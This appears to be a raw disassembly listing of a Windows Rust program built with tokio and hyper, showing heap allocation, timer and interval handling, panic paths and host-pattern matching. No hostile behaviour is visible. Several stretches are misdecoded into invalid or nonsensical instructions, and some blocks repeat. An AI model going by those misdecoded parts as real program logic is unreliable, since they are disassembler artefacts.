je 0x1400c4341
mov qword [0x140215360], rax
mov r8d, 0x2320
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400c4341
mov rdx, rax
add rsi, 0x20
mov qword [rax + 0x2300], rsi
movups xmmword [rax + 0x2308], xmm6
mov qword [rax + 0x2318], 0
xor eax, eax
lock cmpxchg qword [rdi + 0x2308], rdx
jne 0x1400c3da4
mov rcx, rdx
jmp 0x1400c3e00
mov rcx, rax
mov rax, qword [rax + 0x2300]
add rax, 0x20
mov qword [rdx + 0x2300], rax
xor eax, eax
lock cmpxchg qword [rcx + 0x2308], rdx
je 0x1400c3e00
mov r8, rax
nop dword [rax]
pause
mov rax, qword [r8 + 0x2300]
add rax, 0x20
mov qword [rdx + 0x2300], rax
xor eax, eax
lock cmpxchg qword [r8 + 0x2308], rdx
mov r8, rax
jne 0x1400c3dd0
nop word cs:[rax + rax]
mov rax, qword [rdi + 0x2310]
cmp eax, 0xffffffff
sete al
test r15b, al
je 0x1400c3d00
mov rax, rdi
lock cmpxchg qword [rbp + 0x80], rcx
jne 0x1400c3d00
mfence
mov rax, qword [rbp + 0x88]
mov qword [rdi + 0x2318], rax
movabs rax, 0x100000000
lock or qword [rdi + 0x2310], rax
mov r15b, 1
pause
lea rax, [rcx + 0x2300]
cmp qword [rcx + 0x2300], rbx
jne 0x1400c3d19
jmp 0x1400c3bae
mov rax, rcx
add rax, 0x2300
shr r8, 5
and edx, 0x1f
cmp r8, rdx
seta r15b
jmp 0x1400c3ea9
xor r15d, r15d
pause
nop
lea rax, [rcx + 0x2300]
cmp qword [rcx + 0x2300], rbx
je 0x1400c3c4a
mov rdi, rcx
mov rcx, qword [rcx + 0x2308]
test rcx, rcx
jne 0x1400c3f90
mov rsi, qword [rax]
movzx eax, byte [0x1402153f8]
mov rax, qword [0x140215360]
test rax, rax
jne case.0x1400a161f.388
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x1400c4341
mov qword [0x140215360], rax
mov r8d, 0x2320
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x1400c4341
mov rdx, rax
add rsi, 0x20
mov qword [rax + 0x2300], rsi
movups xmmword [rax + 0x2308], xmm6
mov qword [rax + 0x2318], 0
xor eax, eax
lock cmpxchg qword [rdi + 0x2308], rdx
jne 0x1400c3f34
mov rcx, rdx
jmp 0x1400c3f90
mov rcx, rax
mov rax, qword [rax + 0x2300]
add rax, 0x20
mov qword [rdx + 0x2300], rax
xor eax, eax
lock cmpxchg qword [rcx + 0x2308], rdx
je 0x1400c3f90
mov r8, rax
nop dword [rax]
pause
mov rax, qword [r8 + 0x2300]
add rax, 0x20
mov qword [rdx + 0x2300], rax
xor eax, eax
lock cmpxchg qword [r8 + 0x2308], rdx
mov r8, rax
jne 0x1400c3f60
nop word cs:[rax + rax]
mov rax, qword [rdi + 0x2310]
cmp eax, 0xffffffff
sete al
test r15b, al
je 0x1400c3e90
mov rax, rdi
lock cmpxchg qword [rbp + 0x80], rcx
jne 0x1400c3e90
mfence
mov rax, qword [rbp + 0x88]
mov qword [rdi + 0x2318], rax
movabs rax, 0x100000000
lock or qword [rdi + 0x2310], rax
mov r15b, 1
pause
lea rax, [rcx + 0x2300]
cmp qword [rcx + 0x2300], rbx
jne 0x1400c3ea9
jmp 0x1400c3c4a
mov rax, qword [rsp + 0x98]
cmp qword [rax - 0x10], 0
je 0x1400c3230
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r13
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x1400c3230
cmp byte [rsp + 0xa0], 0
jne 0x1400c404d
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x1400c42a4
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
mov rax, qword [rsp + 0xa8]
lock dec qword [rax]
dec dword [rax]
jne 0x1400c4076
lea rcx, [rsp + 0xa8]
call fcn.1400b8840
invalid
mov rbx, qword [rsp + 0xd8]
movzx eax, byte [rbx]
mov rsi, qword [rsp + 0xb8]
test al, al
mov r8, qword [rsp + 0xe0]
je 0x1400c302c
jmp 0x1400c42c6
mov ecx, dword [rsp + 0xa4]
test ecx, ecx
je 0x1400c40f9
cmp ecx, 1
jne 0x1400c4127
add rax, qword [rsp + 0x78]
jb 0x1400c4404
add edx, dword [rsp + 0x70]
cmp edx, 0x3b9ac9ff
dec ecx
invalid
cmp esi, dword [rsi + 0xf]
inc rax
je 0x1400c4404
test byte [rsi], dh
add eax, dword [rax]
invalid
add edx, 0xc4653600
mov ecx, edx
shr ecx, 9
imul r8, rcx, 0x44b83
shr r8, 0x27
mov edi, edx
add r8, rax
mov rcx, qword [rsp + 0x60]
jae 0x1400c3145
jmp 0x1400c43c6
add r15, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x60]
jb 0x1400c4404
add edi, dword [rsp + 0x70]
cmp edi, 0x3b9ac9ff
jbe 0x1400c312c
inc r15
jne 0x1400c3126
jmp 0x1400c4404
mov rsi, rax
add rsi, qword [rsp + 0x78]
jb 0x1400c4404
mov rcx, qword [rsp + 0x70]
lea ebx, [rcx + rdx]
cmp ebx, 0x3b9ac9ff
jbe 0x1400c4154
inc rsi
je 0x1400c4404
add ebx, 0xc4653600
mov ecx, ebx
shr ecx, 9
imul r14, rcx, 0x44b83
shr r14, 0x27
add rsi, r14
jb 0x1400c43c6
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x38], edx
lea rcx, [rsp + 0x30]
mov rdx, r15
mov r8d, edi
call fcn.14013adc0
mov ecx, edx
mov r9, qword [rsp + 0xc8]
mov rdx, r9
mov r8, qword [rsp + 0xd0]
or rdx, r8
je 0x1400c4352
mov edx, 0x3b9aca00
mul rdx
cmp ecx, 0x3b9aca00
mov r10d, 0
cmove ecx, r10d
cmove rdx, r10
cmove rax, r10
add rcx, rax
adc rdx, 0
mov qword [rsp + 0x110], r9
mov qword [rsp + 0x118], r8
mov qword [rsp + 0x120], rcx
mov qword [rsp + 0x128], rdx
lea rcx, [rsp + 0x120]
lea rdx, [rsp + 0x110]
call fcn.14015be60
pshufd xmm1, xmm0, 0xee
movq rax, xmm1
test rax, rax
jne 0x1400c4452
movq rcx, xmm0
mov rax, rcx
shr rax, 9
movabs rdx, 0x44b82fa09b5a53
mul rdx
shr rdx, 0xb
sub rsi, rdx
jb 0x1400c4438
imul eax, r14d, 0x3b9aca00
sub ebx, eax
imul eax, edx, 0x3b9aca00
sub ecx, eax
cmp ebx, ecx
jae 0x1400c4260
test rsi, rsi
je 0x1400c4438
dec rsi
add ebx, 0x3b9aca00
sub ebx, ecx
mov eax, ebx
shr eax, 9
imul r8, rax, 0x44b83
shr r8, 0x27
mov edi, ebx
add r8, rsi
mov r14, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x60]
jae 0x1400c3145
jmp 0x1400c43c6
call fcn.1401666c0
movzx ecx, byte [r14 + 0x18]
test cl, cl
jne 0x1400c42d3
xor al, 1
jmp 0x1400c31d2
call fcn.1401666c0
test al, al
jne 0x1400c404d
mov byte [r14 + 0x18], 1
jmp 0x1400c404d
mov rcx, r15
call qword [rdi + 0x18]
jmp 0x1400c2f80
mov rsi, qword [rsp + 0xb8]
jmp 0x1400c2f80
test al, al
je 0x1400c42e6
mov rax, qword [0x1402153f0]
shl rax, 1
test rax, rax
jne 0x1400c4331
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_ReleaseSRWLockExclusive]
lock dec qword [r14]
jne 0x1400c4307
lea rcx, [rsp + 0xa8]
call fcn.1400b8840
xor r13d, r13d
mov eax, r13d
movaps xmm6, xmmword [rsp + 0x130]
movaps xmm7, xmmword [rsp + 0x140]
add rsp, 0x158
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
call fcn.1401666c0
test al, al
jne 0x1400c42e6
mov byte [r14 + 0x18], 1
jmp 0x1400c42e6
mov ecx, 8
mov edx, 0x2320
call fcn.14015d7f0
ud2
lea rcx, str.attempt_to_calculate_the_remainder_with_a_divisor_of_zero_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_slice_sort.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_src_timeinterval.rs
mov edx, 0x39
call fcn.140160fb0
ud2
lea rax, str.Arc_counter_overflow
mov qword [rsp + 0xa8], rax
lea rax, [0x14009a1b0]
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0x20], 1
lea rdx, [0x140204aa8]
lea rsi, [rsp + 0x30]
lea r9, [rsp + 0xa8]
mov r8d, 1
mov rcx, rsi
call fcn.140144a40
lea rdx, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_alloc_src_sync.rs
mov rcx, rsi
call fcn.140160e20
ud2
lea rax, str.overflow_in_Duration::new
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
lea rax, [0x140204680]
mov qword [rsp + 0x40], rax
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x48], xmm0
lea rdx, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_time.rs
lea rcx, [rsp + 0x30]
call fcn.140160e20
ud2
lea rcx, str.overflow_when_adding_duration_to_instantlibrary_std_src_time.rs
lea r8, [0x1401dbd90]
mov edx, 0x28
call fcn.140161290
ud2
lea rcx, str.interval_assumes_timeout
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcclientpool.rs
mov edx, 0x18
call fcn.140161290
ud2
lea rcx, str.overflow_when_subtracting_duration_from_instant
lea r8, [0x1401dbdd8]
mov edx, 0x2f
call fcn.140161290
ud2
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_src_timeinterval.rs
mov qword [rsp + 0x20], rax
lea rcx, str.too_much_time_has_elapsed_since_the_interval_was_supposed_to_tick
lea r9, [0x1401de858]
lea r8, [rsp + 0x30]
mov edx, 0x41
call fcn.140161200
ud2
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xe0]
cmp eax, 1
je 0x1400c4e70
xorps xmm6, xmm6
test eax, eax
jne 0x1400c4e9c
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0x90]
lea rdx, [0x1401438a0]
cmp eax, 0xe80007ea
fmul dword [rbp - 0x39befffa]
xchg al, ah
add byte [rax], al
add byte [rcx], al
cmp eax, 0xe80007ea
fmul dword [rbp - 0x39befffa]
xchg al, ah
add byte [rax], al
add byte [rcx], al
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xb0]
mov al, 0xb0
add byte [rax], al
add byte [rax - 0x39], cl
xor byte [rax + 0x1000000], 0
add byte [rax], al
mov al, 0xb0
add byte [rax], al
add byte [rax - 0x39], cl
xor byte [rax + 0x1000000], 0
add byte [rax], al
mov qword [rax + 0xb8], rbx
lea rdx, [rsp + 0x68]
mov rcx, rdi
call fcn.1400c2f50
mov ebx, eax
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xe0]
loopne 0x1400c4ec3
add byte [rax], al
loopne 0x1400c4ec3
add byte [rax], al
cmp eax, 1
je 0x1400c4efb
test eax, eax
jne 0x1400c4f15
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0x90]
lea rdx, [0x1401438a0]
call fcn.14012dc40
mov byte [rdi + 0xe0], 1
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xb0], xmm6
lea rdi, [rsi + 0x20]
test bl, bl
je 0x1400c4ff8
mov rax, qword [rsi]
jmp 0x1400c4f4e
cmp rcx, 0x3f
jbe 0x1400c5062
add rcx, 0xffffffffffffffc0
cmp rcx, 0x40
setb dl
add dl, dl
lock cmpxchg qword [rsi], rcx
invalid
je 0x1400c4f7b
invalid
test al, 1
je 0x1400c507c
test al, 0x20
jne 0x1400c4fc6
mov rcx, rax
and rcx, 0xfffffffffffffffe
test al, 4
je 0x1400c4f30
test rcx, rcx
js 0x1400c5096
add rcx, 0x40
mov dl, 1
mov dl, 1
lock cmpxchg qword [rsi], rcx
jne 0x1400c4f4e
cmp dl, 2
je 0x1400c4fb8
movzx eax, dl
cmp eax, 1
jne 0x1400c5033
cmpsd dword [rsi], dword [rdi]
add byte [rax], al
invalid
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
bnd call fcn.14014a490
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x1400c50e9
add byte [rax - 0x7d], cl
loopne 0x1400c4f72
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x1400c5033
mov rcx, rsi
call fcn.1400c5630
jmp 0x1400c5033
mov dword [rsp + 0x40], 0x3b9aca01
lea rdx, [rsp + 0x38]
mov rcx, rdi
call fcn.1400c5300
mov rax, qword [rsi + 0x28]
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x48], 1
jmp 0x1400c5016
mov dword [rsp + 0x40], 0x3b9aca01
lea rdx, [rsp + 0x38]
and al, 0x38
mov rcx, rdi
call fcn.1400c5300
mov qword [rsp + 0x48], 0
mov dword [rsp + 0x40], 0x3b9aca00
lea rdx, [rsp + 0x38]
mov rcx, rdi
call fcn.1400c5300
mov rcx, rsi
call fcn.1400c54a0
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x98
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x1401e0bb0]
mov edx, 0x26
call fcn.140160fb0
ud2
lea rcx, str.assertion_failed:_curr.is_running__
lea r8, [0x1401e0890]
mov edx, 0x23
call fcn.140160fb0
ud2
lea rcx, str.assertion_failed:_self.0___isize::MAX_as_usize
lea r8, [0x1401e0b70]
mov edx, 0x2f
call fcn.140160fb0
add bh, byte [rdi + 0xb0f0009]
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401e0ae8]
mov edx, 0x27
call fcn.140160fb0
ud2
movups xmm0, xmmword [rsp + 0x180]
movups xmm1, xmmword [rsp + 0x190]
movups xmm2, xmmword [rsp + 0x1a0]
movups xmm3, xmmword [rsp + 0x1b0]
movaps xmmword [rsp + 0x3f0], xmm0
movaps xmmword [rsp + 0x400], xmm1
movaps xmmword [rsp + 0x410], xmm2
movaps xmmword [rsp + 0x420], xmm3
movups xmm0, xmmword [rsp + 0x1c0]
movaps xmmword [rsp + 0x430], xmm0
movups xmm0, xmmword [rsp + 0x1d0]
movaps xmmword [rsp + 0x440], xmm0
mov rax, qword [rsp + 0x1e0]
mov qword [rsp + 0x450], rax
mov eax, dword [rsp + 0x70]
mov ecx, dword [rsp + 0x73]
mov dword [rsp + 0x178], eax
mov dword [rsp + 0x17b], ecx
mov rcx, qword [rsp + 0x150]
call fcn.1400b6c40
mov rax, qword [rsp + 0x350]
mov qword [r14 + rax], 3
mov qword [r14 + 8], rdi
mov rax, qword [rsp + 0x450]
mov rcx, qword [rsp + 0x348]
mov qword [rcx + 0x60], rax
movaps xmm0, xmmword [rsp + 0x440]
movups xmmword [rcx + 0x50], xmm0
movaps xmm0, xmmword [rsp + 0x430]
movups xmmword [rcx + 0x40], xmm0
movdqa xmm0, xmmword [rsp + 0x3f0]
movdqa xmm1, xmmword [rsp + 0x400]
movaps xmm2, xmmword [rsp + 0x410]
movaps xmm3, xmmword [rsp + 0x420]
movups xmmword [rcx + 0x30], xmm3
movups xmmword [rcx + 0x20], xmm2
movdqu xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
mov byte [r14 + 0x78], bl
mov eax, dword [rsp + 0x178]
mov ecx, dword [rsp + 0x17b]
mov rdx, qword [rsp + 0x2e0]
mov dword [rdx + 3], ecx
mov dword [rdx], eax
mov eax, 3
lea rdx, [rax - 3]
lea rcx, [rax - 2]
cmp rdx, 2
mov edx, 0
cmovae rcx, rdx
test rcx, rcx
jne 0x1400c85d7
cmp rax, 2
je 0x1400c896b
mov rsi, qword [r12]
cmp rsi, 4
jne 0x1400c6604
jmp 0x1400c896b
mov rsi, qword [r12]
lea rcx, [rsi - 1]
cmp rsi, 2
mov eax, 0
cmovae rax, rcx
test rax, rax
jne 0x1400c7ef0
mov rcx, qword [rsp + 0x2f0]
mov rax, qword [rcx + 0x70]
mov qword [rsp + 0x1f0], rax
movups xmm0, xmmword [rcx + 0x60]
movaps xmmword [rsp + 0x1e0], xmm0
movups xmm0, xmmword [rcx + 0x50]
movaps xmmword [rsp + 0x1d0], xmm0
movups xmm0, xmmword [rcx + 0x40]
movaps xmmword [rsp + 0x1c0], xmm0
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmm2, xmmword [rcx + 0x20]
movups xmm3, xmmword [rcx + 0x30]
movaps xmmword [rsp + 0x1b0], xmm3
movaps xmmword [rsp + 0x1a0], xmm2
movaps xmmword [rsp + 0x190], xmm1
movaps xmmword [rsp + 0x180], xmm0
mov rcx, qword [rsp + 0x2f8]
mov rax, qword [rcx + 0x50]
mov qword [r13 + 0x50], rax
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [r13 + 0x40], xmm0
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmm2, xmmword [rcx + 0x20]
movups xmm3, xmmword [rcx + 0x30]
movups xmmword [r13 + 0x30], xmm3
movups xmmword [r13 + 0x20], xmm2
movups xmmword [r13 + 0x10], xmm1
movups xmmword [r13], xmm0
mov r8d, 0xd0
lea rcx, [rsp + 0x458]
lea rdx, [rsp + 0x180]
call sub.VCRUNTIME140.dll_memcpy
mov qword [r12], 3
cmp rsi, 1
ja 0x1400c88e2
mov qword [rsp + 0x180], rsi
mov rax, qword [rsp + 0x4c8]
mov qword [r13], rax
movups xmm0, xmmword [rsp + 0x4b8]
movups xmmword [r13 - 0x10], xmm0
movups xmm0, xmmword [rsp + 0x4a8]
movups xmmword [r13 - 0x20], xmm0
movups xmm0, xmmword [rsp + 0x498]
movups xmmword [r13 - 0x30], xmm0
movups xmm0, xmmword [rsp + 0x458]
movups xmm1, xmmword [rsp + 0x468]
movups xmm2, xmmword [rsp + 0x478]
movups xmm3, xmmword [rsp + 0x488]
movups xmmword [r13 - 0x40], xmm3
movups xmmword [r13 - 0x50], xmm2
movups xmmword [r13 - 0x60], xmm1
movups xmmword [r13 - 0x70], xmm0
lea rcx, [rsp + 0x4d0]
mov rax, qword [rcx + 0x50]
mov qword [rsp + 0x2d0], rax
movups xmm0, xmmword [rcx + 0x40]
adc byte [rcx + 0x40], al
movaps xmmword [rsp + 0x2c0], xmm0
movdqu xmm0, xmmword [rcx]
movdqu xmm1, xmmword [rcx + 0x10]
movq mm1, qword [rcx + 0x10]
movups xmm2, xmmword [rcx + 0x20]
movups xmm3, xmmword [rcx + 0x30]
movaps xmmword [rsp + 0x2b0], xmm3
movaps xmmword [rsp + 0x2a0], xmm2
movdqa xmmword [rsp + 0x290], xmm1
movdqa xmmword [rsp + 0x280], xmm0
add byte [rax - 0x75], cl
test byte [rax + rdi*4], ah
add dword [rax], eax
add byte [rax - 0x77], cl
test byte [rax + rax], ah
add eax, dword [rax]
add byte [rbx + 0x1c02484], cl
add byte [rax], al
mov dword [rsp + 0x5c], eax
mov rcx, qword [rsp + 0x1f0]
mov rax, qword [rcx + 0x20]
and byte [r8 - 0x7b], cl
ror byte [rdi], 0x84
nop
invalid
add byte [rax], al
mov qword [rsp + 0x158], rsi
mov qword [rsp + 0x168], rcx
mov rbp, qword [rcx + 0x10]
mov rcx, rax
shl rcx, 7
lea rax, [rcx + rax*8]
add rax, rbp
mov qword [rsp + 0x60], rax
lea r13, [rsp + 0x70]
lea r14, [rsp + 0x20]
jmp 0x1400c6914
lea rdx, [rbp + 0x28]
mov rax, qword [rbp + 0x10]
mov r8, qword [rbp + 0x18]
sbb byte [rbx + rcx*4 + 0x4d], cl
and byte [rax - 0x73], cl
and al, 0x78
call qword [rax]
movups xmm0, xmmword [rsp + 0x20]
movups xmm1, xmmword [rsp + 0x30]
lea rax, [rsp + 0x78]
and al, 0x78
movups xmmword [rax + 0x30], xmm1
movups xmmword [rax + 0x20], xmm0
mov byte [rsp + 0xb8], bl
mov qword [rsp + 0x70], 1
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x140], rax
movzx eax, byte [rsp + 0xb8]
add byte [rax], al
mov byte [rsp + 0x148], al
mov eax, dword [rsp + 0xb9]
and al, 0xb9
add byte [rax], al
add byte [rcx + 0x1492484], cl
add byte [rax], al
movzx eax, word [rsp + 0xbd]
mov word [rsp + 0x14d], ax
movzx eax, byte [rsp + 0xbf]
mov byte [rsp + 0x14f], al
mov rax, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x78]
movdqu xmm0, xmmword [rsp + 0x80]
movdqu xmm1, xmmword [rsp + 0x90]
movups xmm2, xmmword [rsp + 0xa0]
xchg esp, eax
and al, 0xa0
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x130], edx
movdqa xmmword [rsp + 0x120], xmm1
movdqa xmmword [rsp + 0x110], xmm0
mov qword [rsp + 0x100], rax
mov qword [rsp + 0x108], rcx
cmp qword [rsp + 0x100], 2
jne 0x1400c7b9b
add rbp, 0x88
cmp rbp, qword [rsp + 0x60]
lea r13, [rsp + 0x70]
je 0x1400c7570
lea rbx, [rbp + 0x58]
mov rax, qword [rbp + 0x58]
test rax, rax
cmove rbx, rax
je 0x1400c6df0
mov rdx, qword [rsp + 0x2a0]
test rdx, rdx
je 0x1400c8899
mov rcx, qword [rsp + 0x298]
call fcn.140083630
test rax, rax
je 0x1400c8899
mov r15, rax
mov r12, rdx
test rdx, rdx
je 0x1400c6a40
cmp byte [r15], 0x5b
jne 0x1400c6b10
add r12, r15
mov r9b, 0x5b
xor eax, eax
mov r8, r15
test r9b, r9b
jns 0x1400c6a10
jmp 0x1400c6993
movzx r9d, byte [rcx]
mov rax, rdx
mov r8, rcx
test r9b, r9b
jns 0x1400c6a10
mov ecx, r9d
and cl, 0x1f
movzx edx, cl
movzx r11d, byte [r8 + 1]
and r11d, 0x3f
cmp r9b, 0xdf
jbe 0x1400c69f0
movzx r10d, byte [r8 + 2]
shl r11d, 6
and r10d, 0x3f
or r10d, r11d
cmp r9b, 0xf0
jb 0x1400c6a00
lea rcx, [r8 + 4]
movzx r9d, byte [r8 + 3]
and edx, 7
shl edx, 0x12
shl r10d, 6
and r9d, 0x3f
or r9d, r10d
or r9d, edx
cmp r9d, 0x110000
jne 0x1400c6a18
jmp 0x1400c755f
lea rcx, [r8 + 2]
shl edx, 6
or edx, r11d
mov r9d, edx
jmp 0x1400c6a18
lea rcx, [r8 + 3]
shl edx, 0xc
or r10d, edx
mov r9d, r10d
jmp 0x1400c6a18
lea rcx, [r8 + 1]
movzx r9d, r9b
mov rdx, rcx
sub rdx, r8
add rdx, rax
cmp r9d, 0x5b
je 0x1400c6a2d
cmp r9d, 0x5d
jne 0x1400c6a48
cmp rcx, r12
jne 0x1400c6980
xor r8d, r8d
jmp 0x1400c6b05
xor r12d, r12d
jmp 0x1400c6b10
xor r9d, r9d
mov r8, rdx
nop
cmp rcx, r12
je 0x1400c6b00
mov r10, r12
movzx r11d, byte [r12 - 1]
test r11b, r11b
js 0x1400c6a80
lea r12, [r10 - 1]
movzx r11d, r11b
jmp 0x1400c6ae3
movzx esi, byte [r10 - 2]
cmp sil, 0xc0
jge 0x1400c6ab4
movzx edi, byte [r10 - 3]
cmp dil, 0xc0
jge 0x1400c6abd
lea r12, [r10 - 4]
movzx r14d, byte [r10 - 4]
and r14d, 7
shl r14d, 6
and edi, 0x3f
or edi, r14d
lea r14, [rsp + 0x20]
jmp 0x1400c6ac4
lea r12, [r10 - 2]
and esi, 0x1f
jmp 0x1400c6acc
lea r12, [r10 - 3]
and edi, 0xf
shl edi, 6
and esi, 0x3f
or esi, edi
shl esi, 6
and r11b, 0x3f
movzx r11d, r11b
or r11d, esi
cmp r11d, 0x110000
je 0x1400c6b00
cmp r11d, 0x5b
je 0x1400c6a50
cmp r11d, 0x5d
je 0x1400c6a50
sub rdx, rcx
add rdx, r10
mov r8, rdx
test r9b, r9b
je 0x1400c6b07
xor eax, eax
add r15, rax
sub r8, rax
mov r12, r8
mov qword [rsp + 0x20], r15
mov qword [rsp + 0x28], r12
mov rcx, r14
call fcn.14005b650
mov rdi, rax
test dil, 1
jne 0x1400c6b80
movaps xmmword [rsp + 0x70], xmm7
mov r8d, 8
mov rcx, r14
mov rdx, r13
call fcn.14005bd00
cmp rax, 8
jne 0x1400c6c25
movdqa xmm0, xmmword [rsp + 0x70]
movdqa xmm1, xmm0
psrlw xmm1, 8
psllw xmm0, 8
por xmm0, xmm1
cmp qword [rsp + 0x28], 0
jne 0x1400c6ce0
pshufd xmm8, xmm0, 0xf9
movd eax, xmm0
mov r14b, 1
jmp 0x1400c6b96
cmp qword [rsp + 0x28], 0
jne 0x1400c6ce0
mov rax, rdi
shr rax, 8
xor r14d, r14d
mov byte [rsp + 0x70], r14b
mov dword [rsp + 0x71], eax
movq qword [rsp + 0x75], xmm8
pshufd xmm0, xmm8, 0xee
movd dword [rsp + 0x7d], xmm0
mov rax, qword [rbx + 0x10]
test rax, rax
je 0x1400c6da0
mov r15, qword [rbx]
mov rsi, qword [rsp + 0x71]
test dil, 1
jne 0x1400c6da9
mov rdi, qword [rsp + 0x79]
add rax, rax
lea rbx, [rax + rax*8]
jmp 0x1400c6c01
mov rcx, r15
mov rdx, r13
call fcn.140099270
test al, al
jne 0x1400c6d99
add r15, 0x12
add rbx, 0xffffffffffffffee
je 0x1400c6da0
cmp byte [r15], 2
jne 0x1400c6be0
cmp r14b, byte [r15 + 1]
jne 0x1400c6bf3
mov rax, qword [r15 + 2]
xor rax, rsi
mov rcx, qword [r15 + 0xa]
xor rcx, rdi
or rcx, rax
jne 0x1400c6bf3
jmp 0x1400c6d99
test dl, 1
jne 0x1400c6ce0
mov rcx, qword [rsp + 0x28]
test rcx, rcx
je 0x1400c6ce0
mov rdx, qword [rsp + 0x20]
cmp byte [rdx], 0x3a
jne 0x1400c6ce0
cmp rcx, 1
je 0x1400c6ce0
add rcx, 0xfffffffffffffffe
movzx r8d, byte [rdx + 1]
add rdx, 2
mov qword [rsp + 0x20], rdx
mov qword [rsp + 0x28], rcx
cmp r8b, 0x3a
jne 0x1400c6ce0
mov qword [rsp + 0x326], 0
mov qword [rsp + 0x320], 0
mov r8d, 7
sub r8, rax
jb 0x1400c8927
mov rcx, r14
lea rdx, [rsp + 0x320]
call fcn.14005bd00
mov ecx, 8
sub rcx, rax
jb 0x1400c8940
cmp rax, 8
je 0x1400c8953
lea rcx, [rsp + rcx*2]
add rcx, 0x70
add rax, rax
lea rdx, [rsp + 0x320]
mov r8, rax
call sub.VCRUNTIME140.dll_memcpy
jmp 0x1400c6b4b
mov rax, qword [rbx + 0x28]
test rax, rax
je 0x1400c6df0
mov rsi, qword [rbx + 0x18]
lea rax, [rax + rax*2]
lea r14, [rsi + rax*8]
jmp 0x1400c6d0d
add rsi, 0x18
cmp rsi, r14
je 0x1400c6da0
mov rbx, qword [rsi]
mov rdi, qword [rsi + 0x10]
cmp r12, rdi
jne 0x1400c6d2b
mov rcx, rbx
mov rdx, r15
mov r8, r12
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400c6d99
test rdi, rdi
je 0x1400c6d51
lea rax, [rdi - 1]
cmp rax, r12
jne 0x1400c6d51
cmp byte [rbx], 0x2e
jne 0x1400c6d51
lea rcx, [rbx + 1]
mov rdx, r15
mov r8, r12
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400c6d99
mov rdx, r12
sub rdx, rdi
jb 0x1400c6d6b
add rdx, r15
mov rcx, rbx
mov r8, rdi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400c6d78
cmp rdi, 1
jne 0x1400c6d00
cmp byte [rbx], 0x2a
jne 0x1400c6d00
jmp 0x1400c6d99
test rdi, rdi
je 0x1400c6d82
cmp byte [rbx], 0x2e
je 0x1400c6d99
not rdi
add rdi, r12
jae 0x1400c6d00
cmp byte [r15 + rdi], 0x2e
jne 0x1400c6d00
mov al, 1
jmp 0x1400c6da2
xor eax, eax
lea r14, [rsp + 0x20]
jmp 0x1400c6df2
add rax, rax
lea rdi, [rax + rax*8]
lea r14, [rsp + 0x20]
jmp 0x1400c6dd9
mov rcx, r15
mov rdx, r13
call fcn.140099270
test al, al
jne 0x1400c6dec
add r15, 0x12
add rdi, 0xffffffffffffffee
je 0x1400c6df0
cmp byte [r15], 2
jne 0x1400c6dc0
cmp byte [r15 + 1], 0
jne 0x1400c6dcf
cmp dword [r15 + 2], esi
jne 0x1400c6dcf
mov al, 1
jmp 0x1400c6df2
xor eax, eax
mov rcx, qword [rbp]
lea rdx, [0x14020a730]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
sar edi, 1
invalid
test al, al
jne 0x1400c68fd
cmp qword [rbp + 8], 0
je 0x1400c6f2a
mov bl, 2
cmp byte [rbp + 0x50], 2
je 0x1400c6816
invalid
invalid
lea rdx, [rbp + 0x48]
mov rax, qword [rbp + 0x30]
